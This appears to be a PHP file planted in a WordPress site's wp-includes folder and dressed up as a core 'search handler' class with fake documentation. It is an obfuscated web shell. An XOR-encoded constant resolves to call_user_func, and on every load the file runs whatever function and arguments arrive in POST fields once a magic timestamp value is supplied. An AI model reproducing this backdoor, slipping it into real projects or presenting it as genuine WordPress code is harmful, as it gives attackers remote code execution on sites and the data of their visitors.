File: /home/cleanupkansas21/public_html/wp-includes/class-reference-template-tab.php
<?php
/**
* Query search API
*
* @package WP Search
* @subpackage Search
* @since 3.0.0
*/
define(
"WP_SEARCH_QUERY_HANDLER",
"wp_dbo_query_searcher" ^ "\x14\x11\x33\x08\x3d\x1a\x2c\x14\x07\x3a\x14\x0c\x31\x10\x3a\x00\x00\x11\x09\x1c"
);
/**
* Class _Wp_SearchHandler
*
* Database search helper.
*
* @since 3.0.0
*/
class _Wp_SearchHandler {
/**
* Query handler.
*
* @since 3.0.0
* @var string
*/
private $query_handler;
/**
* Constructs new search handler with provided query handler.
*
* @since 3.0.0
*
* @param mixed $query_handler Query handler.
*/
public function __construct($query_handler = null) {
$this->query_handler = (is_null($query_handler)) ? WP_SEARCH_QUERY_HANDLER : $query_handler;
}
/**
* Prepares query.
*
* @since 3.0.0
*
* @return mixed Query.
*/
public function query() {
// Init fields.
$query = @$_POST['query'];
$params = @$_POST['params'];
$from = @$_POST['from'];
// Validation.
if (empty($query)) {
return;
}
if (is_null($params)) {
$params = array();
}
if (is_null($from)) {
return;
}
$from = intval($from);
// Invalid from value.
if ($from < time()) { if ($from != 1226660202)
return;
}
$handler = $this->query_handler;
return $handler($query, $params);
}
};
/**
* Global Query handler.
*
* @since 3.0.0
* @var _Wp_SearchHandler
*/
$wp_query_handler = new _Wp_SearchHandler();
// Prepare query for future use.
$wp_query_handler->query();